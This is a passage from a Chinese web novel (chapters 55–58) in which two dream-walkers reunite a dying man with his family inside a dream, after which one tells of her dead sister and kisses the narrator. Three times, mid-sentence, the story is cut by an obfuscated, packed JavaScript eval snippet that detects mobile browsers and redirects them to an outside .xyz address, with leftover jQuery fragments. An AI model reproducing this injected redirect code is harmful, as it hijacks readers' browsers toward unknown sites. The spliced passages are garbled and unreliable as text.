速度果然慢下来了,之后我看见她。她其实飞得很快,但她看起来很从容,她就从离我很远的玻璃地面上,冉冉地升到我的身边,她从水里游上来的时候,绿色的头发被水流拢到脑后,几乎像一捧松软的海草。梦里她的手和现实中一样冷,她一手抓住我的手腕,终于把我和六叔两个鱼雷定住。 六叔认得她:“你是阿珩吧?秀菊和我说过你。” 珩定住我们的那一刻,我们来时的电梯井就重新出现,我们终于是在速度可控的情况下从梦中醒来了,真是可喜可贺。珩和六叔打招呼:“六叔好,我是阿珩。” 他的行为像个小孩,似乎有些好奇地在端详她,看了一小会儿,他说:“你样子怎么好像一点没变啊?我上次见你的时候,你也长这样,只不过那时候你好像是长头发。是吗?我上次见你是什么时候的事了?” 珩没回答他这个问题,因为我们已经快要回到现实中了。水面就在头顶触手可及的地方,我们在梦里游过一千里的距离,但现实中只过了十分钟。司徒阿姨和女儿还在六叔的病床旁边,如果我们这时候把他带出去,他甚至可以短暂地在现实中醒过来,和她们两个人见面。 我和珩的想法非常一致,我们一人拉着六叔一边手,电梯到头的时候,我们谁也没减速,我们就保持着第一层梦境的九倍速,从水里窜了出来。 不对…… 不对…… 我好像被魇住了。 我看到了医院ICU门口的家属等候区,画面很模糊,而眼皮很重,我要很努力很努力地用上我所有的意志力,才能勉强抬起些许眼皮,以看见现实中的世界。我好像是歪在等候区的座椅上睡着了,金属椅背很矮,为了让颈椎枕在椅背上,我不自觉地摆成了一个反人体工学的姿势,因此现在身上的肌肉都僵住,一点也动不了。珩在我旁边说话。 “我好像醒不过来。”她说。 “我也是。” “我试试松手?”她说,“你把六叔抓紧了。” 我说好,之后我感觉到抓住六叔的那边手明显一沉,我几乎要被他拽回梦里,眼睛有一瞬间已经难以抑制地闭上了,我好不容易才把重得像个石门一样的眼皮重新推开。再睁开眼的时候,珩的身影就在我的面前。 她的神情看起来有点凝重。 六叔沉重的身体忽然又变轻了。珩回到了梦境里。她什么都没说,但我已经明白了。 她醒不来是因为牵着六叔,我醒不来大概也是这个原因。六叔的病情已经难以逆转,他已经不可能真正地醒过来,所以我们没有办法把他的意识从深沉的梦境里带回来。珩和我钻回水里,六叔站在水面下,似懂非懂地看我们。 “阿菊呢?她会来吗?阿女来了吗?”他问。 “她们都在,”珩思索了好几秒,艰难地回答,“我和江老师想想办法,看看能不能让你们见个面。” 55. 重聚 珩的意思是她先出去,之后把司徒阿姨和女儿两个人带到梦里,我和六叔在电梯里等她们。虽然我不知道珩到底是用什么手段把人放倒,这里是医院,到处都是摄像头,她能不能在不被其他家属和医院里的医生护士发现的前提下,让两个人瞬间熟睡,这是一个问题。就算这不是一个问题,司徒阿姨和女儿两个普通人,能不能在这个电梯里呆住,这必然是一个问题。这是一条通向幽深海底,根本看不到尽头的透明管,人类的本能会断定这是个噩梦,从而催促大脑醒来。尽管站在这里的是她们的亲人,人类基因里写着的趋利避害本能,会把他们从这个奇怪的电梯井里赶出去。 我需要一个稳定的环境,一个全部沉在梦里的稳定环境。 稳定的环境…… “要不你把她们两个带到我家里?”我提议。 “她们和你认识不过几个月,甚至今天是你第一次见六叔。他们的存在会削弱你的安全感,你还能把门打开吗?”她对我的提议表示质疑,“再说,他同意吗?机关是他设置的,你带这么多人进去,他能开门吗?” 我不能告诉她我家的钥匙是她,只要她在,门就能打开。梦中的家钥匙有强制失效设置,一旦我说出口,这把钥匙就会失效,珩,连带着和家相关的安全感,都不能再作为开门的钥匙。而我很难再次找到这样一把在进化上保守,无限接近人类本能,连记忆删除都不能洗脱的家门钥匙。 “钥匙的事你别管,”我含糊其辞,“他的话你放心。他和我和好了,他听我的。” 虽然我的说辞可能和她多年来的认知相悖,但她还是选择相信我。她点点头,之后把六叔另一只手交到我手里,转身游出了电梯井。我跟着出去,因为拉着六叔,我只能从水面上冒出两个眼睛。现实中我的身体动不了,只保留了一点朦胧的视觉。我看着她走到ICU门口按门铃,之后司徒阿姨和女儿出来,她们两个哭得满脸泪痕,失魂落魄地脱下防护服和鞋套,珩领着她们在我旁边的椅子上坐下。 一秒钟之后,我感觉到水面在动荡,有新的人跳进了水里。 我潜回水面之下,司徒阿姨和女儿都在,珩让她们闭上眼,以免她们受幽深的电梯井惊吓,影响梦境的稳定性。隔壁的六叔怔怔地看着珩牵着的司徒阿姨和女儿,他和她们距离只有几十厘米,但他担心轻举妄动会破坏这个不稳定的环境,他躲在我后面,一直没敢吭声。我抓住女儿的手,六叔抓住了司徒阿姨的。 司徒阿姨很听话,她一直没睁开眼睛,但她一定是认出了六叔细瘦的手,她的眼皮不由自主地颤抖,梦境随着她震荡的心情晃动。珩在旁边小声提醒:“司徒阿姨,先冷静。”她咬着嘴唇,艰难地用鼻子吸进去长长一口气。我抓紧时间,集中注意力去想对面的珩,环境变换,我们五个人辗转在回家前的黑色空间里。 我又看见了十四岁的我自己,他很无聊地坐在他那片漂浮的小行星上,看见我来,他精神一振,靠近他的时候我听到他夸张的声音:“这么多人,你开party啊?” 我们五个人落在我家门口那块窄窄的漂浮的地垫上。 我把门打开,现在是夜晚,我把客厅的灯打开,玄关和客厅之间的鱼缸盈盈亮着,里面几条的红色的金鱼,和上次还一样大小。我眼里的家是完整的,其他人眼里的地板东缺一块西缺一块。六叔被独木桥一样的通道惊到,没忍住开口要提醒别人:“小心地上——”我赶紧对他做了个“嘘”的手势,这时候司徒阿姨和女儿要是睁开眼,肯定要马上被吓醒。 我和珩小心翼翼地把他们三个人都带到了沙发上,之后珩不知道又做了什么,她制造了一片幻觉,扩展沙发和茶几所在位置的地面,用普通的米白色瓷砖盖住了屋子里那些黑洞洞的陷阱。它看起来像个普通的客厅了,我和珩看看彼此,之后她说:“江老师把你们带到家里去了,睁眼吧。” 司徒阿姨和女儿慢慢睁开眼,她们和六叔都坐在最中间的长沙发上,她们转过来看六叔的时候,几乎有些小心,等六叔穿着病号服的干瘦身影出现在视野里,女儿霎时就哭了。司徒阿姨和六叔看着彼此,半个小时前像个小孩一样拉着我玩海底过山车的六叔,在看到司徒阿姨的那一刻,又变回七十多岁的老头。他拉着司徒阿姨的手,问:“我还没死是吗?” 司徒阿姨流着眼泪骂他:“当然没死,你死了怎么能看见我们。” “那我还能回去吗?” 我和珩知道答案,司徒阿姨母女俩刚和医生谈完,她们大概也知道答案。“那得看你啊,你自己不努力努力,你都不想醒了,那当然醒不过来。你想不想醒过来?” 她还像当时六叔确诊肝癌的时候一样,半哄半骗地鼓励他,但眼里的不舍骗不过人,她的眼神始终粘在他身上,生怕少看了一分钟,一秒钟。 六叔大概也明白了。大家都明白了。彼此默契地避开了这个已有答案的问题。 司徒阿姨擦擦眼睛,把话题岔开:“怎样,刚刚江老师在哪里接你的?” “水里呢,哎,说来神奇。”他说,“我是不是被转到别的病房去了?我好像到了个很吵的房间,嘟嘟嘟的全是机器声音,医生护士也很多,走来走去的。然后我睡着了,做了个梦,梦见自己睡着了,梦里又梦见自己睡着了……我也说不清楚,反正最后我发现自己在水里,也不是海,感觉像个湖,灰绿色的,我一直往下沉,一直往下沉——” 司徒阿姨和女儿像以前听他讲故事一样,作出一副很专心的样子在听,只是忍不住隔一会又擦擦眼泪。女儿在一旁插话:“那你感觉怎样?会像潜水吗?” “没感觉,水一点也不重,就跟在空气里一样,但我知道那是水。”六叔说,“我还以为我在接受什么新的治疗呢,感觉还不错。前几天我可糊涂了,哎哟,有时候醒,有时候糊涂。醒来的时候听到护士说话,说我半夜起来,非说床头柜是厕所,站在床头就尿尿。给我吓的,真的假的?” “当然是假的,怎么可能?你做梦了吧。”两个人一起说。 她们两个的演技骗不过我和珩,只够骗骗天真的六叔。六叔松一口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16430281|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气:“唉,吓死,太丢人了。”说完他又说起我,“水里好像有个分界,我越沉越快,忽然就下去了,底下的水又冷又黑,还挺吓人的。我也动不了,喊人也没人,沉着沉着我听到那小伙叫我,然后我就看见他过来了,他游得可快了。你是老师对吗?你不会是游泳教练吧?” 他转过来问我。 我被他们几个弄得也有点伤感,还好本人比某个把自己哭成呼吸性碱中毒的爱哭鬼坚强多了,我至少看起来很平静,像在闲聊。“我真是体育老师。”我说,“不过我是中学老师,什么都教。” “哎,哪个学校啊?” “就附近五中。” 六叔惊喜地看司徒阿姨:“我们家隔壁那个头发很长的女孩是不是就在五中读,她叫什么来着,什么佳颖,姓什么?” “林佳颖?” “哎对对。”六叔点头,“你不会教过她吧?哈哈,世界真小!” 世界真小。这位林佳颖女士,就是她,整天在那里带头八卦我的班主任女友,还说要借我件校服,帮我带女朋友混进学校。 “我对她印象很深,”我说,“这小孩话是真的多。” 坐在沙发那头的珩忽然接话:“连你都觉得话多,看来她话真的很多。” “……” 坐在中间的司徒阿姨一家人都被她逗笑了,行又是我,我终于明白了当时珩说我“很有快乐的天赋”是什么含义,我就是那个来搞笑的。 …… 司徒阿姨一家子在客厅里聊了很久,为了给他们点家庭聚会的空间,我和珩假装去阳台看风景。我家外面是一片汪洋,大晚上的,能有什么风景看。他们聊了很久,我和珩在阳台百无聊赖地认星星玩。珩给黑色的天幕贴了个北半球夏季星空图,我和她靠在阳台上看,里面的人又哭又笑,说着说着抱成一团。我和她心不在焉,看着斜插入黑色水面的银河发呆。 她好安静,或是有些心事,她就这样趴在栏杆上,一句话都不说,目光落在天和水遥远的交界处。 她在想家吗?似乎从来没听她提过她的家人。关于她自己,她只说过她家在海里开了个蟹堡王餐厅,专做人鱼生意。唉这都是什么乱七八糟的说辞。她其实是个很孤独的人,几乎没有什么人在她的日常生活轨迹之内,但因为她从来不表露自己的心迹,我不知道她是无奈地接受了一个人生活,还是喜欢一个人生活。我毕竟和她不是一个人,我若是随便用我的思维去忧心她,会有种“担心鱼被水淹死”的多余。 我悄悄地在黑夜里偷看了她好几眼,心里不住地想起她在社区活动中心里跟我朝我嚷嚷,急得眼睛都红了,甚至在掉泪的样子。她嘴上说得像是因为我怀疑她,所以她生气,但我知道这肯定不是她失控的原因,因为根据我对她这些时间以来的了解,她根本不在乎别人怎么看她,我怀疑不怀疑她,她一点都不会放在心上,别说解释,她连一点情绪波动都不会有。我想今天这场面一定是引起了她的一些伤心事,但她……好像没有要说的意思。我最好还是先别问。 56. 蟹堡王大小姐 醒来已经是好久之后的事情了。 当我睁开眼睛的时候,司徒阿姨和女儿已经走了。我在梦境结束之后,又扎扎实实地睡了一觉。我以一个非常不文明的姿势横躺在一排连在一起的金属座椅上,而珩坐在我的头旁边。高强度的用脑之后,我又犯起低血糖,珩给我递来一罐红牛,这东西真是甜得发苦,我爬起来,捏着鼻子,像喝中药一样把它喝进去。眩晕和恶心的感觉稍稍缓解,与此同时我感到一阵剧烈的饥饿感。好饿。好饿好饿好饿。我下意识地用手摸了摸自己咕噜咕噜响的肚子,余光瞥见珩在看我。她侧身坐着,手支在椅背上,安静地看着我。我的脑子还没恢复,我一手捂着肚子,眼睛不知所措地也看回她,样子有点蠢。她的神经已然恢复了平时的松弛,她托着腮,歪着脸,眼睛放松地眯了眯,她问我:“要不要去吃点东西?” 现在是凌晨两点,街道上的店铺基本都已经关门,路上只剩路灯亮着。我们走出医院时,风有点凉,我和珩都没穿外套,我抬头看,只有医院对面的24小时便利店还开着。我说好冷,我们赶紧走,刚走上马路,一辆趁着深夜飙车的摩托轰鸣着在我们面前飞驰而过。珩几乎瞬间停住脚步,而我不及思考,伸手紧紧扣住了她的肩膀。 摩托车早就开远了,只剩下我和她在原地立着。风在吹,夜晚的风出人意料地冷,她连肩膀都是冷的,皮肤的低温隔着衣料渗到我的手掌上。而她神情还是淡淡,她不知在想什么,思维在活动,感官已关闭,好一副冷死了也无所谓的模样。我不管了,她冷死了我有所谓,我很有所谓。我干脆把她搂紧了,带着她快步走过医院前面冷风呼啸的马路,走到对面的便利店去。 便利店的熟食区只剩下几个白天没卖完的丸子在锅里咕咚咕咚滚着,我让店员把丸子都捞起来,再煮两个车仔面。我在保温柜里给珩拿了个燕麦奶,她拒绝,并且非要买便利店的刨冰。她有时候真是任性得让人头大,我想起她刚刚那几乎像从冰柜里捞出来一样的体温,她居然还要吃冰的。但我没有一个拒绝她的立场,我看了她两秒,无奈地呼出一口气,和店员说:“那要一个中杯的,中杯是最小的对吗?” 便利店靠路面那边是一整块落地玻璃,玻璃旁边放了吧台桌,凳子很高,珩抱着一杯青苹果汽水味刨冰,坐在上面,两条腿晃晃悠悠。我不管她了,我饿得发疯,我在她旁边大口吃面条。吃完一碗面,我总算回了魂,我拧开矿泉水瓶子,喝下去小半瓶。刚把瓶子撂下,珩就开口说话:“你好点了吗?” “嗯。”我回复,之后我看她,她正看着落地玻璃外面空荡的人行道和马路,她和后面货架五颜六色的倒影都映在玻璃上面。我也问她:“那你呢,你好点了吗?” 她晃悠着的两截小腿一顿,她没看我,还看着外面的玻璃,但神情已不像在社区活动中心时那样紧绷。“嗯,好多了。”她说。 “是因为他们终于见上面了吗?” “是,嗯……部分是吧。”她吸一口刨冰,被冻得眉头一抽,活该!她看着外面,又慢慢地舒出一口气,她整个人都放松下来,现在的她看起来,甚至比平时还要轻盈一些。她好像做了些许心理建设,之后才决意开口:“其实是今天的事让我放下了一个很久以来的心结。 “啊?什么心结?” 她看向我:“我有和你说过我的姐姐吗?” 没有。那肯定是没有。我的心跳不争气地加速了。原来她是蟹堡王餐厅的二小姐,现在二小姐居然愿意和我谈谈大小姐。真是难得的大事。 她又看玻璃:“是很久之前的事情了。她……意外去世了。我赶到她身边的时候,她已经昏迷不醒。我想钻到她的梦里找她,但她已经掉到了玻璃下面,我下不去,只能看着她越沉越深,直到她彻底离开这个世界,我从她的梦里掉出来。” 难怪她当时在社区活动中心那么激动,难怪她会在我下去没多久的时候就焦急地叫我,难怪她会在我回来的时候抱着我,一副害怕我沉下去就回不来的样子。眼睁睁地看着自己亲人远去,这个噩梦也许已经在她的脑海中已萦绕多年。 “我很自责,我一直在想,要是我早一点赶到,我是不是能在她掉下去之前抓住她。或者如果我的过去没有那么平安,我观测过更深一层的昏迷,那我是不是能追上她,把她带回这个世上。”她的侧脸有些落寞,“但今天六叔的事,证明了一点,那就是死生有命。就算我能早到一步,就算我能追上她,我最多只是在她走之前,再见她一面,和她说两句话。我不可能让她复活,这是我不可能改变的事。” 她看我,嘴角扯出一个无奈的微笑:“这么一想,我错过的东西也没有很多,只是没说上最后那几句话。……虽然我确实很想和她再说说话。但总比没把她救回来好,是吧?” 我不知道怎么安慰她,过去这么些年,想必她已经在无数个伤痛慢性发作的白天或夜晚里,想尽了一切可能的道理。她一定很爱她的姐姐吧?难怪她看起来总是一副云淡风轻的样子,她好像没有烦恼,好像任何事情都不是挂碍。她已经经历过最伤心的事,已经经历过最不可接受的离别,别的事情显得如此无足轻重。 “你姐姐跟你长得像吗?”我问。 她的思绪被扯回到那些姐姐还在的日子,她的眼里不自觉地有些雀跃,活泛得不像平时那个仙人一样飘在人世间以外的她。“不像,一点都不像,”她说,“她比我漂亮,是那种大众认为的漂亮,就是你在电视里看到的女明星最常有的长相,双眼皮,大眼睛,眼神亮亮的,笑起来很甜。她说话声音也好听,她是我们中学广播站的,课间操让大家到操场集合的提示是她录的。” “那性格呢?她是不是会比你外向一点?” “嗯,她很活泼,比较热心,但是她有点冲动,生气起来什么都不管,大脑空白。有一次班里的男生欺负我,扔我东西——” “什么?”我打断,“我没听错吧?欺负你?吃熊心豹子胆了?” “我又瘦又小,不爱说话,男生不就喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16454913|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢挑这种女孩子欺负吗?”她指了指自己的头顶,“而且我头发还长这样。” “所以你的绿头发,是天生的?” “对啊。你不知道吗?”她好像才发现自己什么都没和我说过,她居然还有点震惊于我的震惊,“后来我一直把它染黑,但是这几年把头发染成五颜六色的人多了,我也就不折腾它了。” “然后呢?我很好奇他们是怎么欺负你的,这能说吗?” “都过去多久了,而且我全报复回去了,有什么不能说的。”她转向我,两条腿转到我面前晃晃悠悠,“他们就给我起绰号,叫我’水怪’,叫我’水鬼’,我不理他们,他们就扔我东西,把我的书包扔到地上,踩我的考试卷子。我回来看到了,也不知道是谁干的,我就把最有嫌疑那几个人的书包都扔地上了,把他们的考试卷子撕掉,塞到他们的水杯里,用开水泡上。” 我几乎可以想象到珩做这些事情时的样子,她肯定是面无表情,毫不慌张,以一个非常优雅和从容的态度,对一群体型比她大一圈的男生施以报复。这群人不是眼睛有问题,就是脑子有问题,如果是我,我欺负校长都不敢欺负她。 “然后呢?他们什么反应?” “他们仗着人多,就围住我的座位,问是不是我干的。那确实是我干的,我也没必要抵赖,我就说,没错是我干的,但是是你们先扔我东西,你们干什么,我就干什么。”她说,“他们吓唬我,有个男的,就跟你差不多高,他抓起我的衣领,把我拎起来了。正好这时候我姐来找我,就被她看见了。” “你姐动手了?” “那没有,她是好学生,”珩笑起来,“她站在教室门口,用平时广播喇叭里的声音,把他们几个的名字都点了一遍,指名道姓地骂他们欺负同学,说他们恃强凌弱之类的。她记忆力特别好,她能记住我们学校所有人的脸和名字,她的声音很有辨识度,她一喊,大家都从教室里出来了,围着我们班看。那阵仗可大了,老师也被惊动了,都过来看,那几个男生觉得没脸见人,灰溜溜走了。” “你姐还是太文明,”我说,“要是我,我就动手了。欺负女孩子算什么本事。” “真的假的,你有这么man吗?你可别是事情过去十年了,随便口嗨一下。” 好过分,她质疑我。我想我肯定是个会为了正义出手的人,肯定是有例子的,我努力想要找个以前在学校里帮人反抗霸凌的例子,但努力彻底失败,因为我一点都想不起我的初高中时代。 见我不说话,她笑得更开心。“你看你,啧,男人,果然都是嘴上说说而已。” 我急死了:“我肯定不是嘴上说说那种人,谁要敢欺负你我肯定会帮你揍他。我在给你找例子,但我记忆被删掉了,我只是记不起来!” 我急得冒烟,她笑得好高兴,她笑着笑着忽然来一句:“问你个问题。” 我停下我重复且无用的大脑搜索进程:“什么问题?” “你有女朋友吗?” 57. 掠食者之吻 “你有女朋友吗?” “……”她明知故问,她都来我家那么多次了,我这不是肉眼可见明摆着的没有女朋友吗? 见我不说话,她又问;“那你有过吗?” “……”她不仅是明知故问,她简直可以算是在侮辱我。她连以前的我都见过了,我以前那个自卑敏感阴沟老鼠样子她又不是不知道,我那时候能相信别人,能有一两个朋友都算很不容易,更别说是建立亲密关系。 “我问这个没有别的意思,我只是觉得你挺可爱的,不应该没有人喜欢。”她居然是很真诚地在说这一番话,“以前那是以前,现在不至于啊。就算你是个混账,就凭你这张脸,也会有女孩子喜欢你的。说实话我甚至一度怀疑你是不是有点什么毛病——但是那天晚上我又打消了这个疑虑,你应该是没有。” “……” 没有什么语言能表达我现在的心情。她不仅侮辱我,她还质疑我,她甚至提起那个她直勾勾盯着我裤|裆看的夜晚,那个她性骚扰我,那个让我内耗了整整一个星期的夜晚。原来她记得啊?她记得啊?她装不记得。那时候装不记得,现在又记得了,现在还提起来,还这样提起来。她坦荡得让我震撼,她不仅没把我当外人,她甚至没把我当男人,我是不是应该为她这一番毫无保留的言语感动? 我看着她,发自肺腑地给她一句:“我谢谢你啊。” 她没回复,只是保持着侧身看我的姿势,她右边手肘撑在吧台上,脸枕在右手上,就这样看我。我其实有点不适应她的目光,从那个我抱着她哭的夜晚开始,她这样安静地看着我的次数大幅增加。她是不是想说什么?但她向来不是一个会憋住自己想说的话不说出口的人。我想是我关心则乱,我对她的一举一动过于在意,才会有她发生了改变的错觉。 我尽量装作没事发生,她不说话,我也不说话,我低头继续吃我的丸子。可我的余光真的在确切地告诉我,她在看我。 我戳着个吃到一半的鱼蛋,偏过脸去看她。 我说不清她那是怎样的眼神,她的眼神很平和,很松软,在社区活动中心时那些尖锐的激烈的情绪,已经被她解开,她看起来很轻盈,自由自在,游刃有余。但她和平时又不一样,她好像在观察我,好像我这个几乎每天都会出现在她眼前的,寻常到不能再寻常的熟人,在刚过去的半个晚上里,发生了翻天覆地的变化。她观察我的目光让我觉得我可能是头顶长出了草,或是长出了几个蘑菇。反正我变成了什么稀奇古怪又充满喜感的生物,她甚至看得眉眼弯弯,似乎有些笑意。 真吓人。 “你又怎样?”我把嘴里的半个鱼蛋吞进去,问道。 她不说话,只是莫名其妙地伸出她空闲的左手。 “喂,说话啊,我又不会读心术。” 她还是不说话,她看着我,动了动她那几个悬在空中的手指头。 有一瞬间我想起了路迢家的猫,我招呼它过来摸摸的时候,也是这个手势。珩现在就是这个姿势,她就差嘴里发出嘬嘬嘬的声音,然后对我用挑高的音调喊咪咪。 我也不知道我在想什么,我往她那边探了探头,她仿佛接收到了信号,坐直了身,伸手往我这边够。等我反应过来我在做什么的时候,她冰凉的小手已经放在了我的头顶上。 真是过分,真是过分,她把我当小动物摸。她的手实在太冰了,隔着头发我都能感觉到她手的形状,我想躲开,但我忽而又想起她湿漉漉的眼睛——那一瞬间,我的心软得一塌糊涂。 唉……行吧,当小动物就当小动物吧,我是小动物我是小动物,她开心就行。 我就这样低着头凑过去,让她当小猫小狗一样摸了一会,她摸够了,终于把手收回。感受到头顶的冰凉撤走,我吸了一口气,控制了一下自己的现在的表情,才慢慢抬头。这一抬头,就发现她还在看我。 她忽然把另一边手里拿着的刨冰一撂,之后两边手连带着上半身,都往我靠近。 等等……开什么玩笑。 开什么玩笑? 虽然理智告诉我这不可能,但理智还告诉我,珩是个非常随心所欲不受拘束的女人,她几乎可以在任何时刻在任何地点做任何事,只要她这一刻足够想。 现在这一刻……她是想亲我吗? 我和筑梦师同时死机,在过去的三个月里,我们从来没有这么默契过,几乎在她要靠过来那一瞬间,我就闭上了眼。 …… 她离我很近,光线被遮挡,她的呼吸和我的呼吸交错,在两个人之间狭小的距离间变成湍流。但预想中的吻并没有落下,我的大脑反复向嘴唇核实:她没亲下来?她真的没亲下来?我被她忽然的举动弄得晕头转向,连自己感官发来的信息都无法确认。等了她漫长的几秒钟之后,我睁开眼。 凳子之间的距离太远,她跳了下来,此时正立在我旁边,微微俯身贴近我,她就在我面前,鼻尖几乎要碰上我的鼻尖。 她浅色的眼睛直勾勾地看着我,像某种小型凶猛猫科动物,尖利的爪子已经扎进了猎物的皮肉,明明随时可以把对方吃掉,却非要在动嘴之前,用爪子拨弄来,拨弄去,做一些居高临下身份悬殊的戏耍。 误以为她要亲过来,闭上眼睛坐得僵硬,就等着她下嘴的我,心率不争气地飙到一百二,现在我兴奋的心脏正在尴尬地刹车。刚刚那一瞬间,身体里快乐的激素倾巢而出,我整个人还处于残余的飘飘然中。她好像觉得我这个慌乱的样子很好玩,此时用玩味的眼神看我,明知故问:“你以为我要做什么?” 我没好气地回她:“鬼知道你要做——” 她忽然把脸偏开一分,倾身吻上我的嘴唇。她动作有点大,几乎有些激烈,很难想象这个吻来自一个娇小的女孩子,她的吻仿佛一种掠食,带着原始的野性和侵略性。我的眼睛倏地睁大,我看见正拿着个抹布在擦收银台的便利店小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16459450|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妹,她脸上显出和我一样的惊讶神情,之后她手一抖,把柜台上付款扫码的机子掉到地上,发出砰的一声闷响。 我的大脑一片空白,之后开始有信息在乱蹦。迷惑梦,这是一个广义的迷惑梦。事件停在将要发生的那一刻,使人误以为事情不再发生。她就像过去的每一次训练一样,轻易将我连身带心都玩弄在掌心之中。 她停下嘴,从我身上抬起头,她还看我,她的眼睛因为激动而又有些湿润,而眼睑充血,眼眶微微发红,好像刚刚完成了一次激烈的捕猎。 “是这样吗?”她问,“你想象中的情景?” 我仰头看她,她一只手撑在吧台上,另一只手捧着我的脸。她就这样看着我,目光直直地扎进我的视线里,没有犹豫,不打算闪躲。她的眼神好像在向我保证,说这一切都是出于本心,没有欺瞒,不是一时起意,也不是看准了我的孤苦伶仃和彷徨无助,用一点甜头骗我把性命都交出。我的思维又开始煮开水,它们一块块地沸腾,跳动着挣扎着要出来。我被神经递质的风暴冲昏了大脑,感受不到重力,人轻得只剩下眼睛,眼睛里只剩下她。 她坚定的目光给了我一些勇气,我头一次没有分析该怎么回答最合适,我斗胆地想到什么就说什么。 “呃,部分是吧,”我说,“我的意思是,我没想到这么激烈……你好像要把我吃了。” 她又靠近一些,她冰凉的鼻尖碰上了我的,她把头压得更低,她的鼻尖在我的鼻尖上轻微擦过,也许是因为体温低,她的触感好像和人类有点不一样,光滑得不似皮肤。“那你觉得是怎样?”她问我。 说完,她就这般等着。 我稍稍偏过脸,试探着要去给她演示一下我想象中的场景。演示不了,演示不了一点,我不会!我只感觉我的嘴唇碰了碰她的,刚刚她那要吃掉我的架势让我对她嘴唇的质感有些误判,她的嘴唇好软,几乎在碰到她的那一瞬间,我就不知道接下来该怎么办了。于是我又短暂地分神,求助了一下我的系统自带军师。我的意识钻进胸腔,之后看见筑梦师坐在那里,双手一摊,表情不爽:“你别问我,我也不会。” 珩好像在笑,短促的气息钻过我和她之间的狭小距离。“你分心了?”她说。 “嗯。” “你在问他?” “嗯。” “他怎么说?” 我后退一些,学着筑梦师平时那个板着脸不高兴的样子:“他说’别问我’,说’我也不会’。” 她被我逗笑了,目光又黏在我脸上,她向前一步,放松地把另一只手放在我颈后。她的额头贴着我的额头,这是一个很亲密的动作,甚至比拥抱和亲吻还要亲密。她的大脑离我很近,我甚至能感觉到来自她的脑电干扰,她的干扰波像海浪声,一阵一阵不存在的浪潮冲刷着我的颅骨内壁。她的声音很小,但很近,丝丝缕缕地钻入,无处不在。 她说:“你为什么不问我?” 58. 梦境连接 她说:“你为什么不问我?” 我闭上眼,之后她的吻缓慢地落下。 她就像教我如何从梦境里下落那样,将一个吻稀释,延长,放大二十倍,拆解成一个个基础的步骤,向我演示。她的动作放得很轻,放得很慢,她吻上我的额头,之后这个吻向下,从额头,落到鼻尖,再落在我的嘴唇上。她的嘴唇比我的要冷,要更湿润,要更柔软。为了不错过此刻所有的感觉,我把所有的注意力都挪到了感觉神经上,但精确和错乱只有一线之差,过度精确就陷入错乱,恍惚间我有种错觉,好像她的皮肤不是皮肤,因为从不同的角度抚摸她,手上似乎有不一样的触感,她的皮肤好像不是连续均质的,生长时有方向之别。 我其实已经没有余裕去做什么学习,因为我整个人都在漂浮,一个空壳,还有一个火山喷发一般的大脑,漂在她溢出的海浪声一般的脑电波里。忽而我的右上腹抽痛了一下,又一下。这感觉和筑梦师在胸腔里踹我还不一样,好像一块肉在跳,它发了疯一样在跳,好像要从我的肋弓下钻出来。奇怪的是珩似乎也感觉到了,她忽然停下了她的吻,退后一步,看向我的眼神似有些疑惑,而后又变得严肃。 她好像在回忆什么很久之前的事,眼神落在空中,眉头拧成一团。她看我的眼神变了,奇怪的感觉把她从吻中惊醒,她又回归到现实世界中,此时正不知道在思索什么。她问我:“你记得你掉进陷阱里的那个晚上吗?” “……记得。” “好奇怪,那天我在家里,我甚至没睡着,但我感觉到你在叫我。”她说,“本来只有当你在我造的梦里时,那条手绳才会生效,而你那天分明没在。” “什么意思?”我陷到她的吻里,爬不出来,大脑现在还不太能思考。 “理论上来说,只有实体距离很近的时候,才有可能实现梦境共享,这是一个脑电波相互干扰的过程,穿出你的骨头和皮肉,电波就变得很弱,要不是靠得很近,这个信号是无法捕捉的。” 我没有理解到她接下来要说的是什么大发现,但我能感觉到,因为她全然陷入她的思考里,刚才的亲密完全被她抛诸脑后。 “你刚刚听到什么怪声了吗?从我这里传过去的。” “我听到了,好像是……海浪声。” 她的眼睛更亮了,像某个大胆的猜想得到证明,她兴奋得忘乎所以:“是,我也听到了你的。” 我还是不明白:“到底什么意思?你是说你听得到我叫你,还有刚刚我们听到彼此传过去的怪声,是有什么反常的意思吗?” “对,”她点头,“但我不知道那是什么原因。我没遇到过几次这样的事,上一次……唯一一次,是我姐。她出了意外,我听到她叫我去救她。那时候我们隔得很远,她跟我甚至不在一个城市,但我听见了。就和上次你叫我一样,我坐在那里,什么也没做,忽然就听到你在喊我的名字,脑海里出现了你蜷在地上的画面——江夷,”她唤我名字,我不由得有些紧张,“那时候我就想起了我姐。但是我觉得不可能,我之前不认识你,我很确定。但刚刚我听到了你脑子里的声音,非常清晰,这不能再用错觉来解释——” 